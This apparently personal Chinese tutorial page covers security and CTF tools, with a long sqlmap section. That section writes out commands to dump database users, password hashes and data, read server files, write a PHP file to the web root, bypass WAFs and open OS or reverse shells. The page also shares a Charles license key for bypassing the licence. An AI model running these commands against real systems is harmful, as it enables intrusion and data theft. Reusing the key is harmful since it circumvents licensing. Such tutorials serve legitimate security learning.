常用工具教程

常用工具安装/使用教程

Charles

// 适用于Charles任意版本的注册码,谁还会想要使用破解版呢。
// Charles 4.2目前是最新版,可用。

Registered Name: https://zhile.io
License Key: 48891cf209c6d32bf4

本方法通杀charlse系列激活问题。

Vi/Vim

Linux vi/vim | 菜鸟教程

Ettercap

参考

Dirsearch

介绍

dirsearch 是一个python开发的目录扫描工具。可以扫描网站的敏感文件和目录从而找到突破口

特点:

1
2
3
4
5
6
7
8
9
10
多线程
可保持连接
支持多种后缀(-e|–extensions asp,php)
生成报告(纯文本,JSON)
启发式检测无效的网页
递归的暴力扫描
支持HTTP代理
用户代理随机化
批量处理
请求延迟

安装

项目路径:https://github.com/maurosoria/dirsearch

windows直接下载,需要python3环境

kali linux自带,没有的话可以sudo apt-get install dirsearch

使用

以kali linux为例

1
dirsearch [-u|--url] target [-e|--extensions] extensions [options]

参数options如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-h, --help 查看帮助
-u URL, --url=URL 设置url
-L URLLIST, --url-list=URLLIST 设置url列表
-e EXTENSIONS, --extensions=EXTENSIONS 网站脚本类型
-w WORDLIST, --wordlist=WORDLIST 设置字典
-l, --lowercase 小写
-f, --force-extensions 强制扩展字典里的每个词条
-s DELAY, --delay=DELAY 设置请求之间的延时
-r, --recursive Bruteforce recursively 递归地扫描
–scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS 扫描给定的url的子目录(用逗号隔开)
–exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS 在递归过程中排除指定的子目录扫描(用逗号隔开)
-t THREADSCOUNT, --threads=THREADSCOUNT 设置扫描线程
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES 排除指定的网站状态码(用逗号隔开)
-c COOKIE, --cookie=COOKIE 设置cookie
–ua=USERAGENT, --user-agent=USERAGENT 设置用户代理
-F, --follow-redirects 跟随地址重定向扫描
-H HEADERS, --header=HEADERS 设置请求头
–random-agents, --random-user-agents 设置随机代理
–timeout=TIMEOUT 设置超时时间
–ip=IP 设置代理IP地址
–proxy=HTTPPROXY, --http-proxy=HTTPPROXY 设置http代理。例如127.0.0.1:8080
–max-retries=MAXRETRIES 设置最大的重试次数
-b, --request-by-hostname 通过主机名请求速度,默认通过IP
–simple-report=SIMPLEOUTPUTFILE 保存结果,发现的路径
–plain-text-report=PLAINTEXTOUTPUTFILE 保存结果,发现的路径和状态码
–json-report=JSONOUTPUTFILE 以json格式保存结果

kali linux中软件包位置可以用dpkg -L 软件包名来确定

其中字典所在位置/db/dicc.txt,可以进行修改自定义字典,或者使用-w命令使用收集的字典

示例

攻防世界/baby_web

题目描述:想想初始页面是哪个

使用dirsearch扫描给定网址

image-20221018144227049

访问/index.php会重定向到1/php,此时使用burpsuite抓包

image-20221018145058818

可以得到flag

Sqlmap

介绍

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测、利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQLOraclePostgreSQLMicrosoft SQL ServerMicrosoft Access等数据库。

sqlmap的注入方式:

1
2
3
4
5
6
基于布尔类型的盲注:根据返回页面内容判断条件真假的注入。
基于时间的盲注:无法根据页面返回的内容判断任何信息,需要用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
联合查询注入:在可以使用Union的情况下的注入。
堆查询注入:可以同时执行多条语句时的注入。
带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

安装

sqlmap的官网可以下载软件包,需要运行在python环境中。

Kali linux系统自带sqlmap;如果没有,可以用sudo apt-get install sqlmap安装

使用及示例

判断是否存在注入

当网站不需要登录时,通过-u来判断是否存在注入

1
2
3
sqlmap -u url/?id=1
当注入点后面的参数大于等于两个时,需要加双引号
sqlmap -u "url/?id=1&uid=2"

image-20221101102419006

这里能看出该数据库可能为Mysql数据库,版本≥5.0.12,且存在基于时间的SQL盲注

输入y继续,可以使用--batch参数选择默认选项执行

image-20221101103204798

显示id参数为注入点,存在联合注入

输入yd等待扫描完成后,会显示相关验证的payload

image-20221101103542751

并且给出扫描结果

image-20221101103649709

可以看到相关配置信息

当网站需要登录时,需要指定cookie才能进行注入(cookie需要在登录后获取)

1
sqlmap -u "url/?id=1" --cookie="cookie"

当网站使用POST传递数据时,需要指定data参数

1
sqlmap -u "url" --data="user=admin&passwd=admin&submit=Submit"

也可以通过抓取请求数据包保存为文件后,使用-r参数进行注入

1
sqlmap -r request.txt

查看数据库信息

查看数据库版本信息

1
2
sqlmap -u "url/?id=1" --banner
sqlmap -u "url/?id=1" -b

image-20221101150621859

查看数据库中所有的用户

1
sqlmap -u "url/?id=1" --users

image-20221101104604852

查看数据库所有用户名的密码

1
sqlmap -u "http://xxx/Less-1/?id=1" --passwords

image-20221101104920987

查看数据库当前用户

1
sqlmap -u "http://xxx/Less-1/?id=1" --current-user 

image-20221101104807448

判断当前用户是否有管理权限

1
sqlmap -u "http://xxx/Less-1/?id=1" --is-dba

image-20221101105115437

列出数据库管理员角色

1
sqlmap -u "url/?id=1" --roles

image-20221101110430383

查看所有的数据库

1
sqlmap -u "url/?id=1" --dbs

image-20221101110529537

查看当前的数据库

1
sqlmap -u "url/?id=1" --current-db

image-20221101110609502

爆出指定数据库中的所有的表

1
sqlmap -u "url/?id=1" -D cyber --tables

image-20221101110736638

爆出指定数据库指定表中的所有的列

1
sqlmap -u "url/?id=1" -D cyber -T cyber --columns

image-20221101110944541

爆出指定数据库指定表指定列下的数据

1
sqlmap -u "url/?id=1" -D cyber -T cyber -C user --dump

image-20221101111032652

爆出该网站数据库中的所有数据

1
2
3
4
5
sqlmap -u "url/?id=1" -D cyber -T cyber --dump-all #爆出数据库security中的users表中的所有数据

sqlmap -u "url/?id=1" -D cyber --dump-all #爆出数据库security中的所有数据

sqlmap -u "url/?id=1" --dump-all #爆出该数据库中的所有数据

示例1

image-20221101111144223

其它操作

探测等级和危险等级(–level –risk)

Sqlmap有5个探测等级,默认为1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。

当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

sqlmap有3个危险等级,默认为1。等级1在大多数情况下对测试目标无害。 等级2增加了基于时间的注入测试,等级3增加了OR测试。

1
sqlmap -u "url/Less-1/" --level=5 --risk=3  

伪造Http Referer头部(–referer)

1
sqlmap -u "url/Less-1/" --referer  http://www.baidu.com

执行指定的SQL语句(–sql-shell –sql-query)

1
2
sqlmap -u "url/?id=1" --sql-shell 
sqlmap -u "url/?id=1" --sql-query "select user from cyber"

image-20221101113121673

执行操作系统命令(–os-cmd –os-shell)

当数据库为MySQL、PostgreSql或者SQL Server时,可以执行操作系统命令

当为MySQL数据库时,需满足下面条件:

1.当前用户为 root
2.知道网站根目录的绝对路径

1
2
sqlmap -u "url/Less-1/?id=1" --os-cmd=whoami
sqlmap -u "url/Less-1/?id=1" --os-shell

选择网站脚本类型

image-20221101113316080

选择可写目录(根目录)

image-20221101113431328

但是示例都不可写,如果可以写入的话

1
2
--os-cmd会执行命令
--os-shell会在网站根目录上传两个文件:tmpbxbxz.php、tmpuoiuz.php(上传页面)

读取服务器文件(–file-read)

当数据库为MySQL、PostgreSQL或SQL Server,并且当前用户有权限时,可以读取指定文件,可以是文本文件或者二进制文件

1
sqlmap -u "http://xxx/sqli/Less-4/?id=1" --file-read "/etc/paswd"

image-20221101114224810

image-20221101114258737

上传文件到数据库服务器中(–file-write –file-dest)

当数据库为MySQL、Postgre SQL或者Sql Server(通过powershell写入),并且当前用户有权限向任意目录写文件的时候,可以上传文件到数据库服务器。文件可以是文本,也可以是二进制文件。

需要知道绝对路径

1
2
3
4
sqlmap -u http://xxx/sqli-labs/Less-2/?id=1 
--file-write D:\1.php
--file-dest "/var/WWW/html/2.php"
#将本地的1.php文件上传到目标服务器

输出级别(-v)

使用 Sqlmap 对一个注入点进行测试时,可以使用 -v x 参数指定回显信息的复杂度,x范围为[0~6],共有 7 个等级,默认为 1。

1
2
3
4
5
6
7
0:只显示python错误以及严重的信息。
1:同时显示基本信息和警告信息。(默认)
2:同时显示debug信息。
3:同时显示注入的payload。
4:同时显示HTTP请求。
5:同时显示HTTP响应头。
6:同时显示HTTP响应页面。

绕过WAF

Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用--tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。

SQL参数绕过

1
2
3
4
5
6
7
8
9
--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
--ignore-proxy 禁止使用系统的代理,直接连接进行注入
--flush-session 清空会话,重构注入
--hex 或者 --no-cast 进行字符码转换
--mobile 对移动端的服务器进行注入
--tor 匿名注入

指定脚本进行绕过(–tamper)

有些时候网站会过滤掉各种字符,可以用--tamper来解决(对付某些waf时也有成效)

sqlmap 官方提供了53个绕过脚本,脚本目录在/usr/share/sqlmap/tamper

部分脚本如下:

image-20221101150009368

指定单个脚本绕过

1
sqlmap -u "http://xxx/Less-1/?id=1" --tamper=space2plus.py 

指定多个脚本绕过

1
sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"

更多参数

查看元数据库(–schema)

连接数据库服务器(-d)

直接连接数据库服务器,作为数据库客户端使用而不是通过SQL注入漏洞查询进行,查询速度较快,前提是已知数据库当前的用户名及其密码、IP、端口和数据库名称

1
sqlmap -d “mysql://user:password@10.10.10.137:3306/dvwa” -f --users

扫描多个URL文件(-m)

sqlmap -m urllist.txt –users

扫描HTTPS网站(–force-ssl)

变量分隔符(–param-del)

默认情况下参数变量的分隔符为&,若为其他符号时要使用变量分隔符

1
sqlmap -u "url" --data="username=1;password=2" --param-del=";"

查看指纹信息(-f)

采用多线程(–threads n)

反弹shell(–os-pwn)

1
2
3
--os-pwn --msf-path=/opt/framework/msf3/

--msf-path= #matesploit绝对路径

Wireshark

常见命令

Stegsolve

参考

参数说明

image-20221207151810820

1
2
3
4
5
File Format:文件格式,这里你会看见图片的具体信息
Data Extract:数据提取
Steregram Solve:立体试图 可以左右控制偏移
Frame Browser:帧浏览器
Image Combiner:拼图,图片拼接

关于Data Extract的参数

image-20221207151819748

1
2
3
4
5
6
7
左半部分
RGB是红绿蓝 但他们的值代表的实际上是亮度
R的数字越大,则代表红色亮度越高;R的数字越小,则代表红色亮度越低。G,B同理
R的亮度各有256个级别,GB同理。即从0到255,合计为256个。从数字0到255的逐渐增高,我们人眼观察到的就是亮度越来越大,红色、绿色或蓝色越来越亮。然而256是2的8次方 所以你会看见上图的7~0 一共8个通道

而Alpha就是透明度 该通道用256级灰度来记录图像中的透明度信息,定义透明、不透明和半透明区域
alpha的值为0就是全透明,alpha 的值为 255 则表示不透明
1
2
3
4
5
6
右半部分
Extra By(额外的):分为row(行)和column(纵)
每个像素用R,G,B三个分量表示,那么一张图片就像一个矩阵,矩阵的每个单位就是(0~255,0~255,0~255),也就会有是纵排列和行排列了,一般事先访问行再访问列(如果相反会引起ve使用方法)
Bit Order(位顺序):MSB是一串数据的最高位,LSB是一串数据的最低位。
Bit Plane Order(位平面的顺序):整个图像分解为8个位平面,从LSB(最低有效位0)到MSB(最高有效位7)随着从位平面0 到位平面7,位平面图像的特征逐渐变得复杂,细节不断增加。(一般我们的图片如果是RGB那么就是24位 3乘8嘛)
Bit Plane Order(位平面的顺序):一般图片是24位 也就是3个8 大家可以想像成三明治 比如BGR就是B为三明治第一层 G为第二层 R为第三层。
1
2
3
Steregram Solve:立体试图 可以左右控制偏移 可以放张图片试一下就知道这个是什么意思了
Frame Browser:帧浏览器 主要是对GIF之类的动图进行分解,把动图一帧帧的放,有时候会是二维码
Image Combiner:拼图,图片拼接(意思显而易见)

dd

参考

用指定大小的块拷贝一个文件,并在拷贝的同时进行指定的转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
参数
if=文件名:输入文件名,缺省为标准输入。即指定源文件。< if=input file >
of=文件名:输出文件名,缺省为标准输出。即指定目的文件。< of=output file >
ibs=bytes:一次读入bytes个字节,即指定一个块大小为bytes个字节。
obs=bytes:一次输出bytes个字节,即指定一个块大小为bytes个字节。
bs=bytes:同时设置读入/输出的块大小为bytes个字节。
cbs=bytes:一次转换bytes个字节,即指定转换缓冲区大小。
skip=blocks:从输入文件开头跳过blocks个块后再开始复制。
seek=blocks:从输出文件开头跳过blocks个块后再开始复制。
注意:通常只用当输出文件是磁盘或磁带时才有效,即备份到磁盘或磁带时才有效。
count=blocks:仅拷贝blocks个块,块大小等于ibs指定的字节数。
conv=conversion:用指定的参数转换文件。
ascii:转换ebcdic为ascii
ebcdic:转换ascii为ebcdic
ibm:转换ascii为alternate ebcdic
block:把每一行转换为长度为cbs,不足部分用空格填充
unblock:使每一行的长度都为cbs,不足部分用空格填充
lcase:把大写字符转换为小写字符
ucase:把小写字符转换为大写字符
swab:交换输入的每对字节
noerror:出错时不停止
notrunc:不截短输出文件
sync:将每个输入块填充到ibs个字节,不足部分用空(NUL)字符补齐。

例如

1
dd if=hong.mp3 of=hong1.jpg skip=82483 bs=1